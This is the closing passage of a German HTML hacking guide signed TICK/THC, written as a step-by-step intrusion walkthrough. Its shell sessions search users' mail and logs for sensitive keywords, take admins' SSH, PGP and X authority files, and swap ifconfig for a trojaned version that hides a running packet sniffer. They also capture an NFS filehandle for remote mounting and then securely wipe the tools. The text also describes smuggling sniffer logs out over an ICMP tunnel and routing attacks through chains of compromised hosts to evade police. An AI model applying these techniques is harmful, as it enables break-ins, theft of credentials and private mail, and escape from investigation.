  1857. Loadable-Kernel-Modules (LKMs) verwenden um die Syscalls zu verbiegen,
  1858. damit du dein Trojan-Horse in den Kernel verlegst, oder spez. fuer Tripwire,
  1859. die Zugriffe auf die geschuetzten Files manipulierst. Ich halte solche
  1860. Eingriffe in das System fuer zu Aufwendig und folglich Auffaellig. Was
  1861. mir hingegen gefaellt sind gute LKMs, die die Praesenz von bestimmten Dingen,
  1862. wie Files, User, LKMs etc, verbergen. Mit soeinem 'Hide-LKM' ist es dann
  1863. auch moeglich SUID-Shell im System zu verschtecken.</font>
  1864. <p><font color="#FF0000">bash# cd /tmp/".. "</font>
  1865. <br><font color="#FF0000">bash# cat > wl.mail</font>
  1866. <br><font color="#FF0000">hacker</font>
  1867. <br><font color="#FF0000">cracker</font>
  1868. <br><font color="#FF0000">intrusion</font>
  1869. <br><font color="#FF0000">security</font>
  1870. <br><font color="#FF0000">break-in</font>
  1871. <br><font color="#FF0000">hack</font>
  1872. <br><font color="#FF0000">password</font>
  1873. <br><font color="#FF0000">login</font>
  1874. <br><font color="#FF0000">account</font>
  1875. <br><font color="#FF0000">tripwire</font>
  1876. <br><font color="#FF0000">integry</font>
  1877. <br><font color="#FF0000">sniffer</font>
  1878. <br><font color="#FF0000">cpm</font>
  1879. <br><font color="#FF0000">ifconfig</font>
  1880. <br><font color="#FF0000">military</font>
  1881. <br><font color="#FF0000">.ml</font>
  1882. <br><font color="#FF0000">.gov</font>
  1883. <br><font color="#FF0000">^C</font>
  1884. <br><font color="#FF0000">bash# cat > wl.log</font>
  1885. <br><font color="#FF0000">source.ass</font>
  1886. <br><font color="#FF0000">johnny</font>
  1887. <br><font color="#FF0000">^C</font>
  1888. <br><font color="#FF0000">bash# ./searcher -vvv -rnf -m wl.mail -l wl.log
  1889. > s.res &amp;</font>
  1890. <br><font color="#FF0000">[1] 454</font>
  1891. <br><font color="#FF0000">bash#</font>
  1892. <p>Searcher&nbsp; sucht nun nach den angegeben Wortern in den E-Mails der
  1893. User bzw. in den Syslog-Files (doppelt haelt besser) und zuseatzlich verschafft
  1894. es uns weitere Informationen, die uns den Zugang zu anderen Systemen ermoeglichen
  1895. koennen.
  1896. <br>Searcher ist auch sehr nuetzlich, wenn du Informationen ueber ganz
  1897. bestimmte Sachen suchst, z.B. ueber irgendwelche Forschungs-Projekte, die
  1898. sich natuerlich mit Internet-Security &amp; Co. beschaeftigen, oder wenn
  1899. du Daten ueber deine Noten im Verwaltungs-Server deiner Uni suchst ;).
  1900. Um die Suche etwas zu beschleunigen kannst du dich nur auf ausgewaehlte
  1901. Gruppen von Usern beschraenken.
  1902. <br>Am besten ist es wenn du Searcher schon frueh startest, da er viel
  1903. Zeit benoetigt.
  1904. <br>Das Resultat von Searcher's Arbeit kannst du am besten mit 'gzip --best'
  1905. komprimieren, mit 'uuencode' ausgeben lassen und nach dem Hack aus deinen
  1906. Logs extrahieren um es zu analysieren.
  1907. <p>Jetzt ist der richtige Zeitpunkt gekommen um sich um die Admins zu kuemmern.
  1908. <br>Du solltest dir von jedem Admin das Home-Direc. angucken, dein Augenmerk
  1909. sollte dabei auf das Bin-Direc. und das History-File fallen (SSH-, PGP-Keys
  1910. und .Xauthority Files solltest du dir als Bonus mitnehmen). Du wirst mit
  1911. Sicherheit weitere Securitytools, wie z.B. <b>cpm</b> (<i>Promiscuous-Mode</i>
  1912. Checker), finden, und das History-File gibt dir Auskunft ueber das Verhalten
  1913. der Admins, z.B.: auf welchen Rechner sie arbeiten, ob sie das root-Passwort
  1914. kennen, welche Befehle sie ausfuehren und demnach welche Aufgaben sie haben.
  1915. <br>Wenn Admins haeufig <b>su</b> ausfuehren und dabei nicht den vollen
  1916. Path angeben sind sie ein perfektes Ziel fuer spaetere PATH/Trojan-Horse
  1917. Attacken.
  1918. <p><font color="#FF0000">bash# which ifconfig</font>
  1919. <br><font color="#FF0000">/sbin/ifconfig</font>
  1920. <br><font color="#FF0000">bash# cd /tmp/".. "</font>
  1921. <br><font color="#FF0000">bash# fix /sbin/ifconfig ./ifconfig ./ic.bak</font>
  1922. <br><font color="#FF0000">fixer: Last 17 bytes not zero</font>
  1923. <br><font color="#FF0000">fixer: Can't fix checksum</font>
  1924. <br><font color="#FF0000">bash# showmount -e localhost</font>
  1925. <br><font color="#FF0000">/cdrom&nbsp; pc-01.pool.domain.com</font>
  1926. <br><font color="#FF0000">bash# mv linsniffer nfsiod</font>
  1927. <br><font color="#FF0000">bash# export PATH=.:$PATH</font>
  1928. <br><font color="#FF0000">bash# nfsiod</font>
  1929. <p><font color="#000000">Als letztes installieren wir noch unseren <i>Ethernet-Sniffer</i>.
  1930. Wir ersetzen <b>ifconfig</b> mit einer modifizierten Version, die nicht
  1931. anzeigt ob eine Netzwerkarte in den <i>Promiscuous-Mode </i>geschalltet
  1932. ist. Falls ein Admin <b>cpm</b> o.ae. benutzt, solltest du es ebenfalls
  1933. ersetzen - aber denke immer an Integry-Checker, in diesem Fall ist '/sbin'
  1934. nicht Teil der Tripwire-DB. Auf hochsicheren Rechnern wuerde ich niemals
  1935. Prog.s ersetzen, da die Wahrscheinlichkeit hoch ist, dass sich doch irgendwo
  1936. ein Integry-Checker verbirgt, den man uebersehen hat (im Fall des Sniffers
  1937. waere es denkbar ein LKM in den Kernel zu laden um den <i>ioctl()</i> Systemcall
  1938. zu verbiegen und das PROMISC Flag nicht mehr anzuzeigen).</font>
  1939. <br><font color="#000000">Frueher wurde haeufig das Prog. <b>sum</b> fuer
  1940. die Checksum-Erstellung benutzt, leider (?) erstellt <b>sum</b> kryptographisch
  1941. unsichere Hashwerte. Das Tool <b>fix</b>/<b>fixer</b> nutzt diesen 'Fehler'
  1942. aus, ich habe es hier nur verwendet, weil es die Zeiten anpasst und ein
  1943. Backup erstellt. Da <b>sum</b> so gut wie garnicht mehr benutzt wird ist
  1944. es auch nicht wichtig, dass die Checksum nicht gefixt wurde, falls du es
  1945. aber doch besser findest, dann haenge einfach ein paar Nullen an dein Trojan-Horse
  1946. undzwar wie folgt</font>
  1947. <br><font color="#FF0000">bash# cat /dev/zero >> ./ifconfig</font>
  1948. <br><font color="#FF0000">^C</font>
  1949. <br><font color="#000000">Anschliesend starten wir den Sniffer nachdem
  1950. wir ihm einen unauffaelligen Namen verpasst haben. Wenn der Admin irgendein
  1951. Verzeichnis exportiert, das jedermann mounten kann, dann solltest du dein
  1952. Snifflog-File dorthin schreiben lassen. Aber ich bevorzuge die </font>Collector-Library&nbsp;
  1953. oder noch besser, insbesondere bei Firewalls, die&nbsp; ICMP-Tunnel-Library
  1954. .
  1955. <br>Kleine Anekdote: Ich hab' mal 'ne Zeit lang meine Snifferlogs via ICMP-Tunnel
  1956. von 'nem Bastion-Host zu 'nem auslaendischen Rechner 'geschmuggelt'; es
  1957. funktionierte wunderbar und wurde nicht endeckt.
  1958. <p><font color="#FF0000">bash# mount</font>
  1959. <br><font color="#FF0000">/dev/hda4 on / type ext2 (rw)</font>
  1960. <br><font color="#FF0000">proc on /proc type proc (rw)</font>
  1961. <br><font color="#FF0000">/dev/hda1 on /dos type msdos (rw)</font>
  1962. <br><font color="#FF0000">/dev/hda2 on /tmp type ext2 (rw)</font>
  1963. <br><font color="#FF0000">nfsserver:/nfs_mnt/usr on /usr type nfs (ro,intr,addr=10.255.0.34)</font>
  1964. <p><font color="#FF0000">bash# showmount -e nfsserver</font>
  1965. <br><font color="#FF0000">Export list for nfsserver:</font>
  1966. <br><font color="#FF0000">/nfs_mnt/usr victim.domain.com</font>
  1967. <br><font color="#FF0000">[...]</font>
  1968. <p><font color="#FF0000">bash# askhandle nfsserver /nfs_mnt/usr > nfsserver-nfs_mnt.filehandle</font>
  1969. <br><font color="#FF0000">bash# cat nfsserver-nfs*</font>
  1970. <br><font color="#FF0000">nfsserver /nfs_mnt 1e 91 13 52 01 50 00 00 02
  1971. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</font>
  1972. <p>Jetzt, wo wir root Rechte besitzen koennen wir uns weitere Informationen
  1973. beschaffen, die uns den Weg zurueck ins Netz ermoeglichen koennen. Was
  1974. hier etwas kryptisch aussieht ist nichts weiter als das NFS-Filehandle
  1975. fuer das Verzeichnis <font color="#33FF33">/nfs_mnt</font> des NFS-Servers
  1976. nfsserver. Mit Hilfe dieser Zahlenfolge und eines netten Programms namens
  1977. <b>nfsmenu</b>
  1978. ist es uns nun moeglich das Directory <font color="#33FF33">/nfs_mnt</font>
  1979. von ueberallher zu mounten.
  1980. <p><font color="#FF0000">bash# cd /tmp/".. "</font>
  1981. <br><font color="#FF0000">[1]+&nbsp; Done&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1982. searcher</font>
  1983. <br><font color="#FF0000">bash# gzip --best s.res</font>
  1984. <br><font color="#FF0000">bash# uuencode s.res.gz s.res.gz</font>
  1985. <br><font color="#FF0000">[...]</font>
  1986. <br><font color="#FF0000">bash# gcc -o rm srm.c</font>
  1987. <br><font color="#FF0000">bash# rm -vss ./*</font>
  1988. <br><font color="#FF0000">Deleting ifconfig *************************************
  1989. Done</font>
  1990. <br><font color="#FF0000">[...]</font>
  1991. <br><font color="#FF0000">bash# cd ..</font>
  1992. <br><font color="#FF0000">bash# rm -r ".. "</font>
  1993. <br><font color="#FF0000">bash# ls -altr ~root</font>
  1994. <br><font color="#FF0000">[...]</font>
  1995. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1996. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 90803 Jan 23 11:26 .fvwm2rc</font>
  1997. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 3 root&nbsp;&nbsp;&nbsp;&nbsp;
  1998. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2048 Jan 23 13:57
  1999. bin</font>
  2000. <br><font color="#FF0000">drwxr-xr-x&nbsp; 22 root&nbsp;&nbsp;&nbsp;&nbsp;
  2001. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jan 25 11:55
  2002. ..</font>
  2003. <br><font color="#FF0000">drwx--x--x&nbsp; 35 root&nbsp;&nbsp;&nbsp;&nbsp;
  2004. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4096 Jan 26 09:11
  2005. .</font>
  2006. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  2007. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 150 Jan 26 09:11
  2008. .Xauthority</font>
  2009. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  2010. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 280 Jan 26 09:12
  2011. .xsession-errors</font>
  2012. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
  2013. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jan 26 09:17
  2014. .netscape</font>
  2015. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  2016. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 441 Jun 5 13:14
  2017. .bash_history</font>
  2018. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  2019. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85 Jan
  2020. 5 13:50 .xlockmessage</font>
  2021. <br><font color="#FF0000">bash# exit</font>
  2022. <br><font color="#FF0000">victim% cd</font>
  2023. <br><font color="#FF0000">victim% pwd</font>
  2024. <br><font color="#FF0000">/home/johnny</font>
  2025. <br><font color="#FF0000">victim% ls -altr</font>
  2026. <br><font color="#FF0000">[...]</font>
  2027. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 test&nbsp;&nbsp;&nbsp;&nbsp;
  2028. users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3324 Dec 11&nbsp; 1997
  2029. .emacs</font>
  2030. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 test&nbsp;&nbsp;&nbsp;&nbsp;
  2031. users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57 .grok</font>
  2032. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 test&nbsp;&nbsp;&nbsp;&nbsp;
  2033. users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57 .hotjava</font>
  2034. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 test&nbsp;&nbsp;&nbsp;&nbsp;
  2035. users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57 .seyon</font>
  2036. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 test&nbsp;&nbsp;&nbsp;&nbsp;
  2037. users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57 .xfm</font>
  2038. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
  2039. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jun 6 19:15 ..</font>
  2040. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 6 test&nbsp;&nbsp;&nbsp;&nbsp;
  2041. users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jun 6 19:15 .</font>
  2042. <br><font color="#FF0000">victim% exit</font>
  2043. <br><font color="#FF0000">exit</font>
  2044. <br><font color="#FF0000">victim:/home/johhny > exit</font>
  2045. <br><font color="#FF0000">logout</font>
  2046. <br><font color="#FF0000">Connection closed by forign host.</font>
  2047. <br><font color="#FF0000">source ></font>
  2048. <p><font color="#000000">Zum Schluss wipen wir unsere Tools von der HD,
  2049. damit sie nicht durch einfaches Raw-Reading oder&nbsp; <i>Magnetic Force
  2050. Microscopy</i> (<i>MFM</i>) o. ae. wieder hergestellt werden koennen, und
  2051. vergewissern uns, dass wir in den Home-Direc., in denen wir rumgewurschtelt
  2052. haben, keine kompromitierenden Files hinterlassen.</font>
  2053. <br><font color="#000000">Mit Sicherheit koennte noch einiges verbessert
  2054. werden, versuch's und entwickel so deinen eigenen Style.</font>
  2055. <p>Lege dir ein Art Datenbank mit allen noetigen Information ueber deine
  2056. gehackten Rechner an sonst verlierst du irgendwann den Ueberblick (natuerlich
  2057. encrypted).
  2058. <br>&nbsp;
  2059. <p><a NAME="a9"></a>
  2060. <h3>
  2061. <font color="#993399">Persoenliche Sicherheit</font></h3>
  2062. Es ist natuerlich klar, dass du deine Daten auf der HD mit&nbsp; CFS&nbsp;
  2063. bzw.&nbsp; SFS&nbsp; und deine E-Mail mit&nbsp; PGP&nbsp; verschluesselts,
  2064. Ramdisks benutzt, Backups deiner wichtigsten Daten auf Tape/CDs nicht zuhause
  2065. lagerst, deinen realen Namen nicht weitergibst usw... dieser Kram soll
  2066. nicht Bestandteil dieses Abschnitts sein, ich moechte lieber ueber eine
  2067. sichere Konfiguration sprechen, die dich beim Hacken schuetzt und vorwarnt
  2068. wenn dich jemand verfolgt.
  2069. <p>Ich werde hier die Methode beschreiben, die ich persoenlich anwende.
  2070. <center><img SRC="test.jpg" height=546 width=800></center>
  2071. Als Einwahltpunkt dient mir eine grosse Uni mit vielen Usern oder ein grosser
  2072. ISP. Ich verwende <i>PPP</i> statt normale Terminalprogramme um eine groessere
  2073. Kontrolle ueber meine Verbindung zu haben und weil es vom Vorteil ist ueber
  2074. eine Leitung mehrere Sessions - Telnet, FTP - laufen zu lassen.
  2075. <br>Ein kleinerer Rechner dient mir als Firewall und Router, ich baue die
  2076. <i>PPP</i>-Verbindung
  2077. zu meinem Einwahlpunkt auf und ueberwache alle eingehenden Pakete. Desweiteren
  2078. stelle ich mit <i>SSH</i> eine Connection zum Einwahlrechner her um periodisch
  2079. alle eingeloggten User und Netzwerkverbindungen zu verfolgen (was natuerlich
  2080. nur funktioniert, wenn der Einwahlrechner eine Unix-Maschine ist und kein
  2081. Terminalserver o.ae.). Es ist sehr interessant zu sehen, was ein Admin
  2082. alles macht, wenn er merkt, dass etwas nicht mit rechten Dingen auf seiner
  2083. Maschine vorgeht. Sobald mir solche Sondierungen/Untersuchungen auffallen
  2084. breche ich die Verbindung sofort ab, falls ich mich aber gerade in einer
  2085. kritischen Lage befinde muss ich DoS-Attacken benutzen oder den Admin aussperren
  2086. um seine Arbeit zu verlangsamen bzw. zu verhindern. Auf dem Einwahlrechner
  2087. ist es nicht noetig seine Gegenwart zu verschleiern, es ist besser unauffaellig
  2088. in der Masse unterzutauchen als irgenwelche Logs zu manipulieren.
  2089. <br>Der zweite, groessere Rechner ist meine Workstation, von hier aus baue
  2090. ich eine <i>SSH</i>-Verbindung zum ersten <i>Anti-Trace Rechner</i> auf.
  2091. Dieser <i>Anti-Trace Rechner </i>wechselt regelmaessig, liegt im Ausland
  2092. und ich hab' volle Kontrolle ueber ihn. Von hier aus gehe ich ueber ein
  2093. weiteren <i>Anti-Trace Rechner </i>zu meinem <i>Hacking-Rechner</i>; auch
  2094. hier habe ich natuerlich &acute;root&acute;-Rechte, der zweite <i>AT-Rechner
  2095. </i>ist
  2096. nur ein einfacher <i>TCP-Relay</i>, damit erspare ich mir den Stress mit
  2097. den Logfiles etc. Vom <i>Hacking-Rechner </i>gehe ich in sehr sichere Domains
  2098. oder hacke von hier aus neue Netzwerke (es existieren selbstverstaendlich
  2099. mehrere dieser Rechner, die zudem unregelmaessig gewechselt werden). Zum
  2100. Scannen benutze ich einen eigens dafuer gehackten Rechner, die Scanner
  2101. sind hier alle gut versteckt und zusaetzlich mit <i>3DES</i> verschluesselt.
  2102. <p>Die verschluesselten <i>SSH </i>Verbindung sind noetig, damit die Admins/Bullen/Geheimdienste
  2103. nicht meine Aktivitaeten am Einwahlpunkt (oder sonstwo) mitschneiden koennen.
  2104. <p>Falls du nur einen Rechner zur Verfuehgung hast, dann kannst du dich
  2105. natuerlich auch mit der Firewall von Linux/FreeBSD/OpenBSD auf deiner Workstation
  2106. schuetzen. Es ist jedoch kompfortabler die Verbindung ueber einen speziellen
  2107. Computer zu beobachten (ich weiss nicht inwiefern Linux und Co. einen zweiten
  2108. Monitor an einem Rechner unterschtuetzt).
  2109. <p>Zusaetzlich solltest du noch deinen Kernel patchen, damit er dir mehr
  2110. informationen ueber eingehende Pakete liefert, somit bist du in der Lage
  2111. die Herkunft (leider nicht immer;) von DoS Attacken, Source-Routing Angriffe,
  2112. Traceroutes etc. zu erkennen.
  2113. <br>&nbsp;
  2114. <p><a NAME="a10"></a>
  2115. <h3>
  2116. <font color="#993399">Letzte Worte</font></h3>
  2117. <font color="#000000">Ich hoffe, der Text konnte dir einen guten Ueberblick
  2118. zum Thema Internet-Hacking geben.</font>
  2119. <br><font color="#000000">Vielleicht ist dir aufgefallen, dass ich nicht
  2120. die Verwendung von irgnedwelchen Exploits und Hacking-Tools beschrieben
  2121. habe, das hat einen einfachen Grund, undzwar moechte ich keine Skript Kiddies
  2122. heranzuechten, sondern nur einen leichten Einstieg fuer die wirklich interessierten
  2123. Leute unter euch bieten - warum das Rad staendig neu erfinden!?</font>
  2124. <br><font color="#000000">Und vergiss nicht: Hacken ist nicht der Nexus...
  2125. denk' auch mal an's nicht digitale Leben - Frauen, Parties, ...</font>
  2126. <br>&nbsp;
  2127. <br>&nbsp;
  2128. <h3>
  2129. <a NAME="a10"></a></h3>
  2130. <h3>
  2131. <font color="#993399">Wichtige Links</font></h3>
  2132. &nbsp;<a href="http://www.false.com/security">http://www.false.com/security</a>
  2133. <br>&nbsp;<a href="http://www.insecurity.org/nmap">http://www.insecurity.org/nmap</a>
  2134. <br>&nbsp;<b><a href="http://www.thc.org">http://www.thc.org</a></b>
  2135. [die THC Hauptseite - unbedingt besuchen! ;-) Hier gibts auch die Updates
  2136. fuer diesen Artikel]
  2137. <br>&nbsp;<a href="http://www.secunet.com">http://www.secunet.com</a>
  2138. <br>&nbsp;<a href="http://geek-girl.com/bugtraq">http://geek-girl.com/bugtraq</a>
  2139. <br>&nbsp;<a href="http://rootshell.com">http://rootshell.com</a>
  2140. <br>&nbsp;<a href="http://rootshell.com/doc">http://rootshell.com/doc</a>
  2141. <br>&nbsp;<a href="http://www.sparc.com/charles/security.html">http://www.sparc.com/charles/security.html</a>
  2142. <br>&nbsp;<a href="http://command.com.inter.net/~sod/">http://command.com.inter.net/~sod/</a>
  2143. <br>&nbsp;<a href="http://www.phrack.com">http://www.phrack.com</a>
  2144. <br>&nbsp;<a href="http://www.cs.purdue.edu/coast/">http://www.cs.purdue.edu/coast/</a>
  2145. <br>&nbsp;<a href="http://www.pilot.net/security-guide.html">http://www.pilot.net/security-guide.html</a>
  2146. <br>&nbsp;<a href="http://underground.org/">http://underground.org/</a>
  2147. <br>&nbsp;<a href="http://www.l0pht.com">http://www.l0pht.com</a>
  2148. <br>&nbsp;<a href="http://www.infonexus.com">http://www.infonexus.com/~deamon9</a>
  2149. <br>&nbsp;<a href="http://www.cert.org">http://www.cert.org</a>
  2150. <br>&nbsp;<a href="http://www.cert.dfn.de">http://www.cert.dfn.de</a>
  2151. <br><a href="ftp://ftp.blip.pp.se/pub/cracking">&nbsp;ftp.blib.pp.se/pub/cracking</a>&nbsp;
  2152. alot of tools and exploits!!!!
  2153. <p>
  2154. <hr WIDTH="100%">
  2155. <br>&nbsp;
  2156. <center>
  2157. <h3>
  2158. <b><blink><font size=+2>This is the End my Friend</font></blink></b></h3></center>
  2159. <center>
  2160. <p><br><b>All my Love to:</b>
  2161. <br><font color="#3333FF"><font size=+1>My lovely Girl - You are my Sun!</font></font>
  2162. <br>my best Friend #1
  2163. <br>my best Friend #2
  2164. <br>Sir Fredde Richard - "Two Bud and a chessgame, please."
  2165. <p><b>Greets to:</b>
  2166. <br>van Hauser
  2167. <br>Fr00dy
  2168. <br>Salpeter
  2169. <br>The Lord o/t Hardschool - I hope you are not in trouble.
  2170. <br>stanly
  2171. <br>Zonk
  2172. <br>THC/ADM/dEEP
  2173. <br>JEVER, Budweiser-, Paulaner- and Sol-Brewery - Stop selling your beer!
  2174. I&acute;m addicted! ;)
  2175. <p><b>Hate goes to:</b>
  2176. <br>all politicans
  2177. <br>all religions of this fucking world
  2178. <br>all clocks - I'm the real TICK!</center>
  2179. <p><br>
  2180. <center>
  2181. <h1>
  2182. <font color="#33FF33"><font size=+4>TICK / THC</font></font></h1></center>
  2183. </body>
  2184. </html>